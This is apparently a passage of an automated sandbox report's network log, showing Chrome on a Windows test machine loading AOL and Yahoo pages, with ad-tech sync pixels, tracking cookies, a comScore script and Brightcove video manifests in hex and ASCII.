2024-05-23 22:35:16 UTC	143	IN	Data Raw: 7b 22 66 65 61 74 75 72 65 73 22 3a 7b 22 63 68 61 74 62 6f 74 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 7d 7d 2c 22 65 76 61 6c 75 61 74 65 22 3a 7b 22 6c 6f 67 53 74 72 69 6e 67 22 3a 22 35 2e 52 54 6b 78 4e 6a 41 34 4d 41 64 76 63 79 31 7a 5a 57 46 79 59 32 67 74 65 57 56 7a 42 7a 59 30 4d 77 64 42 53 55 51 48 65 6c 42 71 56 47 52 61 51 58 42 34 5a 7a 4a 4a 61 6b 4d 74 63 30 4d 32 62 6c 64 4a 64 77 2d 2d 22 7d 7d Data Ascii: {"features":{"chatbot":{"enabled":true}},"evaluate":{"logString":"5.RTkxNjA4MAdvcy1zZWFyY2gteWVzBzY0MwdBSUQHelBqVGRaQXB4ZzJJakMtc0M2bldJdw--"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.6	50521	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	518	OUT	GET /cx/vzm/cs.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:16 UTC	771	IN	HTTP/1.1 200 OK x-amz-id-2: fcYLTKiDJGKtQ4yWlsfodzAkoR9EqXc4YZzYezLR/ZG1Mojxz5u2+jYZ12M4H8eBEGLNUWRCofc= x-amz-request-id: 8NWXZCW8PTBNS54F Date: Thu, 23 May 2024 22:27:52 GMT Last-Modified: Wed, 24 Apr 2024 21:40:37 GMT x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=600 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 1333 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "fb8e60e0c2f56c3b00cbf93d69ef7179" Age: 445 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 77 69 6e 64 6f 77 2c 74 3d 63 2e 64 6f 63 75 6d 65 6e 74 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 6e 2c 65 2c 72 29 7b 69 66 28 21 74 7c 7c 21 6e 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 63 5b 74 5d 29 72 65 74 75 72 6e 20 72 28 29 3b 74 72 79 7b 63 5b 74 5d 28 6e 2c 65 2c 28 66 75 6e 63 74 69 6f 6e 28 63 2c 74 29 7b 72 28 63 2c 74 29 7d 29 29 7d 63 61 74 63 68 28 63 29 7b 72 28 29 7d 7d 63 2e 43 4f 4d 53 43 4f 52 45 3d 7b 5f 76 65 72 73 69 6f 6e 3a 22 31 2e 36 2e 31 22 2c 62 65 61 63 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 28 22 5f 5f 75 73 70 61 70 69 22 2c 22 67 65 74 44 6f 4e 6f 74 53 65 6c 6c 22 2c 31 2c 28 66 75 6e 63 74 69 6f Data Ascii: !function(){"use strict";var c=window,t=c.document;function n(t,n,e,r){if(!t\|\|!n\|\|"function"!=typeof c[t])return r();try{c[t](n,e,(function(c,t){r(c,t)}))}catch(c){r()}}c.COMSCORE={_version:"1.6.1",beacon:function(e){n("__uspapi","getDoNotSell",1,(functio
2024-05-23 22:35:16 UTC	33	IN	Data Raw: 68 69 66 74 28 29 29 7d 7d 2c 63 2e 43 4f 4d 53 43 4f 52 45 2e 70 75 72 67 65 28 29 7d 28 29 3b 0a Data Ascii: hift())}},c.COMSCORE.purge()}();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.6	50530	34.111.113.62	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	757	OUT	GET /idsync/ex/receive/check?partner_id=3355&partner_device_id=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1716503715831; TapAd_DID=8195b79d-c729-496f-899d-016ad4c2935d
2024-05-23 22:35:16 UTC	1095	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:16 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1716503715831;Expires=Mon, 22 Jul 2024 22:35:16 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=8195b79d-c729-496f-899d-016ad4c2935d;Expires=Mon, 22 Jul 2024 22:35:16 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Mon, 22 Jul 2024 22:35:16 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:16 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.6	50527	54.225.218.25	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	622	OUT	GET /content/alert/homepage-alert?site=usaol HTTP/1.1 Host: api.content.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://help.aol.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:16 UTC	360	IN	HTTP/1.1 200 Access-Control-Allow-Origin: * Content-Type: application/json Date: Thu, 23 May 2024 22:35:15 GMT Server: Apache Vary: Origin,Accept-Encoding,Access-Control-Request-Method,Access-Control-Request-Headers X-Frame-Options: sameorigin X-UA-Compatible: IE=edge X-XSS-Protection: 1; mode=block transfer-encoding: chunked Connection: Close
2024-05-23 22:35:16 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-05-23 22:35:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.6	50543	34.192.68.138	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	947	OUT	GET /match?bidder=41&buyeruid=A8480325157553098860&r=Cid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4Ag== HTTP/1.1 Host: ssp.disqus.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zeta-ssp-user-id=ua-d3a5a567-89dd-33ed-be20-40cbb3087081
2024-05-23 22:35:16 UTC	304	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:16 GMT Content-Length: 0 Connection: close cache-control: no-store pragma: no-cache expires: 0 location: https://pbs.yahoo.com/setuid?bidder=zeta_global_ssp&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ua-d3a5a567-89dd-33ed-be20-40cbb3087081

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.6	50547	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1389	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-438a-b603-18ca93689641/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfYzRlOTJhOTYwYWMzMDhmODg3MDk3NWU5ZGI2Njg1ODQ2YjU2N2Y5ZDhmYzkwZWI4NDRiYTgwZjJmMDY1NWZiNg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:16 UTC	657	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 0 Date: Thu, 23 May 2024 22:35:16 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890022-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503717.698581,VS0,VE44 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:16 UTC	5	IN	Data Raw: 31 34 34 0d 0a Data Ascii: 144
2024-05-23 22:35:16 UTC	324	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 4b 45 59 3a 4d 45 54 48 4f 44 3d 41 45 53 2d 31 32 38 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6c 69 63 65 6e 73 65 2f 76 31 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 44 46 6a 5a 44 68 66 4e 6a 67 33 4d 57 59 31 5a 54 63 31 4d 32 49 33 4e 44 4a 68 4e 32 46 6b 4d 32 51 34 4d 7a 4e 6b 5a 57 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDhfNjg3MWY1ZTc1M2I3NDJhN2FkM2Q4MzNkZW
2024-05-23 22:35:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:16 UTC	5	IN	Data Raw: 32 32 62 0d 0a Data Ascii: 22b
2024-05-23 22:35:16 UTC	555	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:16 UTC	6	IN	Data Raw: 31 36 37 65 0d 0a Data Ascii: 167e
2024-05-23 22:35:16 UTC	1371	IN	Data Raw: 22 2c 49 56 3d 30 78 36 36 37 61 39 37 39 61 32 65 64 38 30 32 65 61 63 30 37 61 64 31 61 35 31 35 32 61 35 32 35 65 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 36 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 33 31 64 66 62 35 66 31 2d 65 32 64 34 2d 34 Data Ascii: ",IV=0x667a979a2ed802eac07ad1a5152a525e#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:6#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-4
2024-05-23 22:35:16 UTC	1371	IN	Data Raw: 31 65 2f 33 31 64 66 62 35 66 31 2d 65 32 64 34 2d 34 33 38 61 2d 62 36 30 33 2d 31 38 63 61 39 33 36 38 39 36 34 31 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 30 39 35 35 32 31 65 64 33 62 31 31 64 38 30 32 39 30 37 31 65 63 36 34 30 65 64 65 66 31 34 32 65 65 35 37 36 64 61 66 38 34 66 38 32 66 61 38 34 64 38 64 66 36 33 38 66 38 34 34 65 65 37 61 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 Data Ascii: 1e/31dfb5f1-e2d4-438a-b603-18ca93689641/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=095521ed3b11d8029071ec640edef142ee576daf84f82fa84d8df638f844ee7a#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40
2024-05-23 22:35:16 UTC	1371	IN	Data Raw: 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 33 31 64 66 62 35 66 31 2d 65 32 64 34 2d 34 33 38 61 2d 62 36 30 33 2d 31 38 63 61 39 33 36 38 39 36 34 31 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 30 39 35 35 32 31 65 64 33 62 31 31 64 38 30 32 39 30 37 31 65 63 36 34 30 65 64 65 66 31 34 32 65 65 35 37 36 64 61 66 38 34 66 38 32 66 61 38 34 64 38 64 66 36 33 38 66 38 34 34 65 65 37 61 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 Data Ascii: 1/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-438a-b603-18ca93689641/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=095521ed3b11d8029071ec640edef142ee576daf84f82fa84d8df638f844ee7a#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.6	50546	34.36.216.150	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	705	OUT	GET /dmp/pixelSync?nid=4&gdpr=0 HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=12d5e394-d925-4890-aef8-b87a788fd063#1716503705668; _ssuma=eyI0NSI6MTcxNjUwMzcwNjg1N30
2024-05-23 22:35:16 UTC	810	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=12d5e394-d925-4890-aef8-b87a788fd063#1716503705668; Domain=.sitescout.com; Expires=Fri, 23-May-2025 22:35:16 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0NSI6MTcxNjUwMzcwNjg1NywiMTciOjE3MTY1MDM3MTY3Mjh9; Domain=.sitescout.com; Expires=Sat, 22-Jun-2024 22:35:16 GMT; Path=/; Secure; SameSite=None location: https://us-u.openx.net/w/1.0/sd?id=537072977&val=12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 23 May 2024 22:35:15 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.6	50548	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	2071	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&event=ad_hard_timeout&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1 [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:16 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:16 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:16 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.6	50541	198.47.127.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	2797	OUT	GET /AdServer/SPug?partnerID=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; 